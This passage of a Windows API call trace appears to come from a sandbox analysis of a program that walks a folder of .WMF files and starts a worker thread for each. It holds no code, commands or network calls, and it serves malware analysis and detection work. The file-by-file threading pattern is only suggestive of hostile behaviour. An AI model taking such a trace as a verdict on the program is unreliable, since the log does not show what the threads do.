	[0237.637] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6978, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0102594.WMF", cAlternateFileName="")) returned 1
	[0237.637] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1708
	[0237.639] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.640] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bd0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0102762.WMF", cAlternateFileName="")) returned 1
	[0237.640] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x170c
	[0237.642] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.643] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4290, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0102984.WMF", cAlternateFileName="")) returned 1
	[0237.643] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1710
	[0237.644] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.645] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43c0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0103058.WMF", cAlternateFileName="")) returned 1
	[0237.645] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1714
	[0237.647] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.647] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3264, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0103262.WMF", cAlternateFileName="")) returned 1
	[0237.648] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1718
	[0237.650] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.650] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf94, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0103402.WMF", cAlternateFileName="")) returned 1
	[0237.650] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x171c
	[0237.652] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.653] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0103812.WMF", cAlternateFileName="")) returned 1
	[0237.653] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1720
	[0237.654] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.655] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c2c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0103850.WMF", cAlternateFileName="")) returned 1
	[0237.655] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1724
	[0237.657] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.657] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105230.WMF", cAlternateFileName="")) returned 1
	[0237.657] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1728
	[0237.659] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.660] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105232.WMF", cAlternateFileName="")) returned 1
	[0237.660] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x172c
	[0237.833] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.833] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd74, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105234.WMF", cAlternateFileName="")) returned 1
	[0237.833] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1730
	[0237.835] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.836] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4314, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105238.WMF", cAlternateFileName="")) returned 1
	[0237.836] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1734
	[0237.838] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.839] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d0c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105240.WMF", cAlternateFileName="")) returned 1
	[0237.839] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1738
	[0237.840] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.841] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bdc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105244.WMF", cAlternateFileName="")) returned 1
	[0237.841] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x173c
	[0237.843] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.844] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b80, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105246.WMF", cAlternateFileName="")) returned 1
	[0237.844] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1740
	[0237.846] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.846] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1214, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105250.WMF", cAlternateFileName="")) returned 1
	[0237.846] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1744
	[0237.848] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.848] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105266.WMF", cAlternateFileName="")) returned 1
	[0237.849] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1748
	[0237.851] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.852] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4540, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105272.WMF", cAlternateFileName="")) returned 1
	[0237.852] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174c
	[0237.854] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.854] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b28, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105276.WMF", cAlternateFileName="")) returned 1
	[0237.854] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1750
	[0237.856] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.857] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d14, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105280.WMF", cAlternateFileName="")) returned 1
	[0237.857] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1754
	[0237.859] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.860] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105282.WMF", cAlternateFileName="")) returned 1
	[0237.860] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1758
	[0237.862] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.862] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19a8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105286.WMF", cAlternateFileName="")) returned 1
	[0237.862] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x175c
	[0237.864] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.865] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dd8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105288.WMF", cAlternateFileName="")) returned 1
	[0237.865] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1760
	[0237.949] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.950] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a14, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105292.WMF", cAlternateFileName="")) returned 1
	[0237.950] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1764
	[0237.952] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.952] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105294.WMF", cAlternateFileName="")) returned 1
	[0237.952] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1768
	[0237.954] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.954] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105298.WMF", cAlternateFileName="")) returned 1
	[0237.955] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x176c
	[0237.956] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.957] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105306.WMF", cAlternateFileName="")) returned 1
	[0237.957] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1770
	[0237.959] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
